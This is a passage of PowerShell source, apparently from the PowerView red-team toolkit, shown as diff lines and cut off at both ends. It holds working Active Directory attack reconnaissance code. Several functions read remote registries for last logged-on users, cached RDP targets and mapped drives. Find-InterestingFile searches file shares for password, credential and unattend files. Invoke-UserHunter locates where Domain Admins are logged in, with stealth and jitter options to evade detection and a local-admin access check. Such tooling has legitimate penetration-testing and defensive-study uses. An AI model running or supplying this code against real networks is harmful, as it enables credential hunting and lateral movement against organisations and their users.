$Computer - - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { - $Null = $Advapi32::CloseServiceHandle($Handle) - $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False - } - - $IsAdmin -} - - -filter Get-SiteName { -<# - .SYNOPSIS - - This function will use the DsGetSiteName Win32API call to look up the - name of the site where a specified computer resides. - - .PARAMETER ComputerName - - The hostname to look the site up for, default to localhost. - - .EXAMPLE - - PS C:\> Get-SiteName -ComputerName WINDOWS1 - - Returns the site for WINDOWS1.testlab.local. - - .EXAMPLE - - PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess - - Returns the sites for every machine in AD. -#> - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = $Env:ComputerName - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # if we get an IP address, try to resolve the IP to a hostname - if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { - $IPAddress = $Computer - $Computer = [System.Net.Dns]::GetHostByAddress($Computer) - } - else { - $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress - } - - $PtrInfo = [IntPtr]::Zero - - $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) - - $ComputerSite = New-Object PSObject - $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer - $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress - - if ($Result -eq 0) { - $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) - $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename - } - else { - $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)" - $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage - } - - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - - $ComputerSite -} - - -filter Get-LastLoggedOn { -<# - .SYNOPSIS - - This function uses remote registry functionality to return - the last user logged onto a target machine. - - Note: This function requires administrative rights on the - machine you're enumerating. - - .PARAMETER ComputerName - - The hostname to query for the last logged on user. - Defaults to the localhost. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object for the remote connection. - - .EXAMPLE - - PS C:\> Get-LastLoggedOn - - Returns the last user logged onto the local machine. - - .EXAMPLE - - PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 - - Returns the last user logged onto WINDOWS1 - - .EXAMPLE - - PS C:\> Get-NetComputer | Get-LastLoggedOn - - Returns the last user logged onto all machines in the domain. -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost', - - [Management.Automation.PSCredential] - $Credential - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # HKEY_LOCAL_MACHINE - $HKLM = 2147483650 - - # try to open up the remote registry key to grab the last logged on user - try { - - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue - } - - $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" - $Value = "LastLoggedOnUser" - $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue - - $LastLoggedOn = New-Object PSObject - $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer - $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser - $LastLoggedOn - } - catch { - Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled." - } -} - - -filter Get-CachedRDPConnection { -<# - .SYNOPSIS - - Uses remote registry functionality to query all entries for the - "Windows Remote Desktop Connection Client" on a machine, separated by - user and target server. - - Note: This function requires administrative rights on the - machine you're enumerating. - - .PARAMETER ComputerName - - The hostname to query for RDP client information. - Defaults to localhost. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object for the remote connection. - - .EXAMPLE - - PS C:\> Get-CachedRDPConnection - - Returns the RDP connection client information for the local machine. - - .EXAMPLE - - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local - - Returns the RDP connection client information for the WINDOWS2.testlab.local machine - - .EXAMPLE - - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred - - Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. - - .EXAMPLE - - PS C:\> Get-NetComputer | Get-CachedRDPConnection - - Get cached RDP information for all machines in the domain. -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost', - - [Management.Automation.PSCredential] - $Credential - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # HKEY_USERS - $HKU = 2147483651 - - try { - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue - } - - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - - foreach ($UserSID in $UserSIDs) { - - try { - $UserName = Convert-SidToName $UserSID - - # pull out all the cached RDP connections - $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames - - foreach ($Connection in $ConnectionKeys) { - # make sure this key is a cached connection - if($Connection -match 'MRU.*') { - $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null - $FoundConnection - } - } - - # pull out all the cached server info with username hints - $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames - - foreach ($Server in $ServerKeys) { - - $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint - $FoundConnection - } - - } - catch { - Write-Verbose "Error: $_" - } - } - - } - catch { - Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" - } -} - - -filter Get-RegistryMountedDrive { -<# - .SYNOPSIS - - Uses remote registry functionality to query all entries for the - the saved network mounted drive on a machine, separated by - user and target server. - - Note: This function requires administrative rights on the - machine you're enumerating. - - .PARAMETER ComputerName - - The hostname to query for RDP client information. - Defaults to localhost. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object for the remote connection. - - .EXAMPLE - - PS C:\> Get-RegistryMountedDrive - - Returns the saved network mounted drives for the local machine. - - .EXAMPLE - - PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local - - Returns the saved network mounted drives for the WINDOWS2.testlab.local machine - - .EXAMPLE - - PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred - - Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials. - - .EXAMPLE - - PS C:\> Get-NetComputer | Get-RegistryMountedDrive - - Get the saved network mounted drives for all machines in the domain. -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost', - - [Management.Automation.PSCredential] - $Credential - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # HKEY_USERS - $HKU = 2147483651 - - try { - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue - } - - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - - foreach ($UserSID in $UserSIDs) { - - try { - $UserName = Convert-SidToName $UserSID - - $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames - - ForEach($DriveLetter in $DriveLetters) { - $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue - $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue - $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue - if(-not $UserName) { $UserName = '' } - - if($RemotePath -and ($RemotePath -ne '')) { - $MountedDrive = New-Object PSObject - $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer - $MountedDrive | Add-Member Noteproperty 'UserName' $UserName - $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID - $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter - $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName - $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath - $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName - $MountedDrive - } - } - } - catch { - Write-Verbose "Error: $_" - } - } - } - catch { - Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" - } -} - - -filter Get-NetProcess { -<# - .SYNOPSIS - - Gets a list of processes/owners on a remote machine. - - .PARAMETER ComputerName - - The hostname to query processes. Defaults to the local host name. - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object for the remote connection. - - .EXAMPLE - - PS C:\> Get-NetProcess -ComputerName WINDOWS1 - - Returns the current processes for WINDOWS1 -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = [System.Net.Dns]::GetHostName(), - - [Management.Automation.PSCredential] - $Credential - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - try { - if($Credential) { - $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential - } - else { - $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName - } - - $Processes | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $Computer - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process - } - } - catch { - Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_" - } -} - - -function Find-InterestingFile { -<# - .SYNOPSIS - - This function recursively searches a given UNC path for files with - specific keywords in the name (default of pass, sensitive, secret, admin, - login and unattend*.xml). The output can be piped out to a csv with the - -OutFile flag. By default, hidden files/folders are included in search results. - - .PARAMETER Path - - UNC/local path to recursively search. - - .PARAMETER Terms - - Terms to search for. - - .PARAMETER OfficeDocs - - Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - - .PARAMETER FreshEXEs - - Switch. Find .EXEs accessed within the last week. - - .PARAMETER LastAccessTime - - Only return files with a LastAccessTime greater than this date value. - - .PARAMETER LastWriteTime - - Only return files with a LastWriteTime greater than this date value. - - .PARAMETER CreationTime - - Only return files with a CreationTime greater than this date value. - - .PARAMETER ExcludeFolders - - Switch. Exclude folders from the search results. - - .PARAMETER ExcludeHidden - - Switch. Exclude hidden files and folders from the search results. - - .PARAMETER CheckWriteAccess - - Switch. Only returns files the current user has write access to. - - .PARAMETER OutFile - - Output results to a specified csv output file. - - .PARAMETER UsePSDrive - - Switch. Mount target remote path with temporary PSDrives. - - .OUTPUTS - - The full path, owner, lastaccess time, lastwrite time, and size for each found file. - - .EXAMPLE - - PS C:\> Find-InterestingFile -Path C:\Backup\ - - Returns any files on the local path C:\Backup\ that have the default - search term set in the title. - - .EXAMPLE - - PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv - - Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' - or 'email' in the title, and writes the results out to a csv file - named 'out.csv' - - .EXAMPLE - - PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7) - - Returns any files on the remote path \\WINDOWS7\Users\ that have the default - search term set in the title and were accessed within the last week. - - .LINK - - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ -#> - - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Path = '.\', - - [Alias('Terms')] - [String[]] - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'), - - [Switch] - $OfficeDocs, - - [Switch] - $FreshEXEs, - - [String] - $LastAccessTime, - - [String] - $LastWriteTime, - - [String] - $CreationTime, - - [Switch] - $ExcludeFolders, - - [Switch] - $ExcludeHidden, - - [Switch] - $CheckWriteAccess, - - [String] - $OutFile, - - [Switch] - $UsePSDrive - ) - - begin { - - $Path += if(!$Path.EndsWith('\')) {"\"} - - if ($Credential) { - $UsePSDrive = $True - } - - # append wildcards to the front and back of all search terms - $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} } - - # search just for office documents if specified - if ($OfficeDocs) { - $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') - } - - # find .exe's accessed within the last 7 days - if($FreshEXEs) { - # get an access time limit of 7 days ago - $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') - $SearchTerms = '*.exe' - } - - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - - $Parts = $Path.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive" - - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path '$Path' : $_" - return $Null - } - - # so we can cd/dir the new drive - $Path = "${RandDrive}:\${FilePath}" - } - } - - process { - - Write-Verbose "[*] Search path $Path" - - function Invoke-CheckWrite { - # short helper to check is the current user can write to a file - [CmdletBinding()]param([String]$Path) - try { - $Filetest = [IO.FILE]::OpenWrite($Path) - $Filetest.Close() - $True - } - catch { - Write-Verbose -Message $Error[0] - $False - } - } - - $SearchArgs = @{ - 'Path' = $Path - 'Recurse' = $True - 'Force' = $(-not $ExcludeHidden) - 'Include' = $SearchTerms - 'ErrorAction' = 'SilentlyContinue' - } - - Get-ChildItem @SearchArgs | ForEach-Object { - Write-Verbose $_ - # check if we're excluding folders - if(!$ExcludeFolders -or !$_.PSIsContainer) {$_} - } | ForEach-Object { - if($LastAccessTime -or $LastWriteTime -or $CreationTime) { - if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_} - elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_} - elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_} - } - else {$_} - } | ForEach-Object { - # filter for write access (if applicable) - if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_} - } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object { - # check if we're outputting to the pipeline or an output file - if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile} - else {$_} - } - } - - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } - } -} - - -######################################################## -# -# 'Meta'-functions start below -# -######################################################## - -function Invoke-ThreadedFunction { - # Helper used by any threaded host enumeration functions - [CmdletBinding()] - param( - [Parameter(Position=0,Mandatory=$True)] - [String[]] - $ComputerName, - - [Parameter(Position=1,Mandatory=$True)] - [System.Management.Automation.ScriptBlock] - $ScriptBlock, - - [Parameter(Position=2)] - [Hashtable] - $ScriptParameters, - - [Int] - [ValidateRange(1,100)] - $Threads = 20, - - [Switch] - $NoImports - ) - - begin { - - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" - - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - - # import the current session state's variables and functions so the chained PowerView - # functionality can be used by the threaded blocks - if(!$NoImports) { - - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 2 - - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") - - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - if($VorbiddenVars -NotContains $Var.Name) { - $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } - - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } - } - - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - - # create a pool of maxThread runspaces - $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) - $Pool.Open() - - $Jobs = @() - $PS = @() - $Wait = @() - - $Counter = 0 - } - - process { - - ForEach ($Computer in $ComputerName) { - - # make sure we get a server name - if ($Computer -ne '') { - # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" - - While ($($Pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -MilliSeconds 500 - } - - # create a "powershell pipeline runner" - $PS += [powershell]::create() - - $PS[$Counter].runspacepool = $Pool - - # add the script block + arguments - $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) - if($ScriptParameters) { - ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) - } - } - - # start job - $Jobs += $PS[$Counter].BeginInvoke(); - - # store wait handles for WaitForAll call - $Wait += $Jobs[$Counter].AsyncWaitHandle - } - $Counter = $Counter + 1 - } - } - - end { - - Write-Verbose "Waiting for scanning threads to finish..." - - $WaitTimeout = Get-Date - - # set a 60 second timeout for the scanning threads - while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -and $($($(Get-Date) - $WaitTimeout).totalSeconds) -lt 60) { - Start-Sleep -MilliSeconds 500 - } - - # end async call - for ($y = 0; $y -lt $Counter; $y++) { - - try { - # complete async job - $PS[$y].EndInvoke($Jobs[$y]) - - } catch { - Write-Warning "error: $_" - } - finally { - $PS[$y].Dispose() - } - } - - $Pool.Dispose() - Write-Verbose "All threads completed!" - } -} - - -function Invoke-UserHunter { -<# - .SYNOPSIS - - Finds which machines users of a specified group are logged into. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for users of a specified group (default "domain admins") - with Get-NetGroupMember or reads in a target user list, queries the domain for all - active machines with Get-NetComputer or reads in a pre-populated host list, - randomly shuffles the target list, then for each server it gets a list of - active users with Get-NetSession/Get-NetLoggedon. The found user list is compared - against the target list, and a status message is displayed for any hits. - The flag -CheckAccess will check each positive host to see if the current - user has local admin access to the machine. - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile - - File of hostnames/IPs to search. - - .PARAMETER ComputerFilter - - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ComputerADSpath - - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER Unconstrained - - Switch. Only enumerate computers that have unconstrained delegation. - - .PARAMETER GroupName - - Group name to query for target users. - - .PARAMETER TargetServer - - Hunt for users who are effective local admins on a target server. - - .PARAMETER UserName - - Specific username to search for. - - .PARAMETER UserFilter - - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" - - .PARAMETER UserADSpath - - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER UserFile - - File of usernames to search for. - - .PARAMETER AdminCount - - Switch. Hunt for users with adminCount=1. - - .PARAMETER AllowDelegation - - Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' - - .PARAMETER StopOnSuccess - - Switch. Stop hunting after finding after finding a target user. - - .PARAMETER NoPing - - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER CheckAccess - - Switch. Check if the current user has local admin access to found machines. - - .PARAMETER Delay - - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - - Domain for query for machines, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ShowAll - - Switch. Return all user location results, i.e. Invoke-UserView functionality. - - .PARAMETER SearchForest - - Switch. Search all domains in the forest for target users instead of just - a single domain. - - .PARAMETER Stealth - - Switch. Only enumerate sessions from connonly used target servers. - - .PARAMETER StealthSource - - The source of target servers to use, 'DFS' (distributed file servers), - 'DC' (domain controllers), 'File' (file servers), or 'All' - - .PARAMETER ForeignUsers - - Switch. Only return results that are not part of searched domain. - - .PARAMETER Threads - - The maximum concurrent threads to execute. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -CheckAccess - - Finds machines on the local domain where domain admins are logged into - and checks if the current user has local administrator access. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -Domain 'testing' - - Finds machines on the 'testing' domain where domain admins are logged into. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -Threads 20 - - Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt - - Finds machines in hosts.txt where any members of users.txt are logged in - or have sessions. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 - - Find machines on the domain where members of the "Power Users" groups are - logged into with a 60 second (+/- *.3) randomized delay between - touching each host. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -TargetServer FILESERVER - - Query FILESERVER for useres who are effective local administrators using - Get-NetLocalGroup -Recurse, and hunt for that user set on the network. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -SearchForest - - Find all machines in the current forest where domain admins are logged in. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -Stealth - - Executes old Invoke-StealthUserHunter functionality, enumerating commonly - used servers and checking just sessions for each. - - .LINK - http://blog.harmj0y.net -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [Switch] - $Unconstrained, - - [String] - $GroupName = 'Domain Admins', - - [String] - $TargetServer, - - [String] - $UserName, - - [String] - $UserFilter, - - [String] - $UserADSpath, - - [ValidateScript({Test-Path -Path $_ })] - [String] - $UserFile, - - [Switch] - $AdminCount, - - [Switch] - $AllowDelegation, - - [Switch] - $CheckAccess, - - [Switch] - $StopOnSuccess, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $ShowAll, - - [Switch] - $SearchForest, - - [Switch] - $Stealth, - - [String] - [ValidateSet("DFS","DC","File","All")] - $StealthSource ="All", - - [Switch] - $ForeignUsers, - - [Int] - [ValidateRange(1,100)] - $Threads - ) - - begin { - - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - - ##################################################### - # - # First we build the host target set - # - ##################################################### - - if($ComputerFile) { - # if we're using a host list, read the targets in and add them to the target list - $ComputerName = Get-Content -Path $ComputerFile - } - - if(!$ComputerName) { - [Array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - if($Stealth) { - Write-Verbose "Stealth mode! Enumerating commonly used servers" - Write-Verbose "Stealth source: $StealthSource" - - ForEach ($Domain in $TargetDomains) { - if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for File Servers..." - $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController - } - if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for DFS Servers..." - $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} - } - if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} - } - } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - - $Arguments = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ADSpath' = $ADSpath - 'Filter' = $ComputerFilter - 'Unconstrained' = $Unconstrained - } - - $ComputerName += Get-NetComputer @Arguments - } - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } - - ##################################################### - # - # Now we build the user target set - # - ##################################################### - - # users we're going to be searching for - $TargetUsers = @() - - # get the current user so we can ignore it in the results - $CurrentUser = ([Environment]::UserName).toLower() - - # if we're showing all results, skip username enumeration - if($ShowAll -or $ForeignUsers) { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $Null - $User | Add-Member Noteproperty 'MemberName' '*' - $TargetUsers = @($User) - - if($ForeignUsers) { - # if we're searching for user results not in the primary domain - $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4 - $DomainShortName = $krbtgtName.split("\")[0] - } - } - # if we want to hunt for the effective domain users who can access a target server - elseif($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() - $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() - $User - } | Where-Object {$_} - } - # if we get a specific username, only use that - elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $User = New-Object PSObject - if($TargetDomains) { - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] - } - else { - $User | Add-Member Noteproperty 'MemberDomain' $Null - } - $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() - $TargetUsers = @($User) - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { - $User = New-Object PSObject - if($TargetDomains) { - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] - } - else { - $User | Add-Member Noteproperty 'MemberDomain' $Null - } - $User | Add-Member Noteproperty 'MemberName' $_ - $User - } | Where-Object {$_} - } - elseif($UserADSpath -or $UserFilter -or $AdminCount) { - ForEach ($Domain in $TargetDomains) { - - $Arguments = @{ - 